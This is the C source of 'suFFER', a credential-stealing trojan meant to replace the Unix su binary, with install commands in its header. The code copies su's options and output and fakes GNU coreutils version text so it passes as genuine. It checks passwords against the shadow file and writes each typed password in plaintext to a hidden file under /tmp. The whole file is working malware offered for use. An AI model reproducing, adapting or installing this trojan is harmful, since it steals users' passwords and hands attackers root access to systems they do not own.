/* suFFER.c

   suFFER - a great bad religion album
             	and a smal trojan.....



   this su trojan nearly acts as the original su binary.
   it will put the passwords to the LOGFILE (#define d)
   the program output is in english- change it if you need it in another.

   it accepts the commen arguments like -c or -s
   it checks for a viald user if you choose one
   it compairs your password with the shadowed one
   if its the right the pwd is logged and the user gets his requested uid+gid.


   install:
   root:~# mv /bin/su /tmp/" "   # cu later
             			 # we should copy back the real su if we have the pwd
   root:~# gcc -o /bin/su ./suFFER.c -lcrypt
   root:~# chmod 4755 /bin/su
   root:~# chown root:root /bin/su
   root:~# echo mUhahahahahahahaaaaa

	 there is no better backdoor to a system than a root password!

have a lot of phun
www.excluded.org
written by l0om  [l0om[at]excluded.org]
*/

#include <stdio.h>
#include <sys/types.h>
#include <pwd.h>
#include <unistd.h>
#include <termios.h>
#include <string.h>
#include <shadow.h>
#include <crypt.h>

#define   RIGHT       2
#define   WRONG       3
#define   LOGFILE      "/tmp/temp.Xdfb3F2d4gs3d53d"   //logfile with passwords

int checklogin(char user[], char pass[]);  // check password with shadow
void getpwd(char *buf);  // get pwd without echo
void log_pwd(char *user, char *pass, int state); // log pwd to file
void help(char *usage); // prints help
void version(void);  // prints version

int main(int argc, char **argv)
{
    int i, l=0;
    char *user, *cmd, *sh, passwd[50];
    struct passwd *pwd;

    user = "root";
    cmd = sh = NULL;

    if(argc > 1) {
	for(i = 1; i < argc; i++) {
	    if(argv[i][0] == '-' && strlen(argv[i]) == 1) {
	    l=1;
	    continue;
	    }
	    if(argv[i][0] == '-')
	       switch(argv[i][1]) {
	           case '-':
		   if(!strncmp(argv[i], "--help", 6)) help(argv[0]);
		   if(!strncmp(argv[i], "--shell", 7)) { sh = argv[++i]; break; }
		   if(!strncmp(argv[i], "--login", 7)) { l=1; break; }
		   if(!strncmp(argv[i], "--version", 9)) version();

		   fprintf(stderr, "%s: unknown option -- %s\n",argv[0],argv[i]);
		   fprintf(stderr, ">>%s --help<< for more information\n",argv[0]);
                   exit(0);
                   break;
		   case 'c':
		   cmd = argv[++i];
		   break;
		   case 's':
		   sh = argv[++i];
		   break;
		   case 'f':  // who
		   case 'm':  // to heck
		   case 'p':  // cares ?!
		   break;
		   case 'l':
		   l=1;
		   break;
		   default:
		   fprintf(stderr, "%s: unknown option -- %c\n",argv[0],argv[i][1]);
		   fprintf(stderr, ">>%s --help<< for more information\n",argv[0]);
                   exit(0);
	       } else user = argv[i];
	}
    }

    if( (pwd = getpwnam(user)) == NULL) {
	fprintf(stderr, "%s: unknown user %s\n",argv[0],user);
	return(-1);
    }

    if(getuid()) {  //user is not root
	getpwd(passwd);

	if(!checklogin(user,passwd)) {
	    sleep(4);
	    fprintf(stderr, "%s: wrong password\n",argv[0]);
	    log_pwd(user,passwd,WRONG);
	    return(-1);
	}
        log_pwd(user,passwd,RIGHT);
    }
    sh=pwd->pw_shell;
    setuid(pwd->pw_uid); setgid(pwd->pw_gid);

    if(l) chdir(pwd->pw_dir); // if he want a real new - chdir to his home

    if(cmd == NULL) {
	cmd = sh;
	execl(sh, cmd, (char *)0);
    }
    else execl(sh, "sh", "-c", cmd, (char *)0);
}

void log_pwd(char *user, char *pass, int state)
{
    FILE *fd;

    if( (fd = fopen(LOGFILE, "a")) == NULL) return;
    else fprintf(fd, "user:%s -> passwd:%s --- %s\n",user,pass,
    		((state==RIGHT) ? "viald password" : "wrong password"));
    fclose(fd);
}


void getpwd(char *buf)
{
    struct termios terminal_old, terminal;

    printf("Password: "); fflush(stdout);

    tcgetattr(fileno(stdin), &terminal_old);     // save old tty config
    terminal=terminal_old;
    terminal.c_lflag &= ~ECHO;
    terminal.c_lflag &= ~ICANON;
    tcsetattr(fileno(stdin), TCSAFLUSH, &terminal);  // set new -echo...
    fflush(stdin);

    scanf("%s",buf); fflush(stdin);
    tcsetattr(fileno(stdin), TCSAFLUSH, &terminal_old);  // old config
    fflush(stdout); puts("");
}

int checklogin(char user[], char pass[])
{
    struct spwd *pwd;

    pwd = getspnam(user);
    if(pwd == NULL) return(0);  // this really shouldnt happen
    if(strcmp(crypt(pass, pwd->sp_pwdp), pwd->sp_pwdp)) return(0);
    return(1);
}

void help(char *usage) {
printf("%s [OPTION]... [-] [USER [ARG]...]\n",usage);
puts("Change the effective user id and group id to that of USER.\n"); 
puts("-, -l, --login                  make the shell a login shell"); 
puts("-c, --command=COMMAND           pass a single COMMAND to the shell with -c"); 
puts("-f, --fast				  pass -f to the shell (for csh or tcsh)"); 
puts("-m, --preserve-environment      do not reset environment variables"); 
puts("-p                              same as -m"); 
puts("-s, --shell=SHELL               run SHELL if /etc/shells allows it"); 
puts("--help       display this help and exit"); 
puts("--version    output version information and exit\n"); 
puts("A mere - implies -l. If USER not given, assume root.\n"); 
puts("Report bugs to <bug-coreutils@gnu.org <mailto:bug-coreutils@gnu.org>>."); 
exit(0);
}


void version(void)
{
puts("su (coreutils) 4.5.8");
puts("written by David MacKenzie.\n");
puts("Copyright (C) 2003 Free Software Foundation, Inc.");
puts("This is free software; see the source for copying conditions. There is NO");
puts("warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.\n\n"), 
exit(0);
}
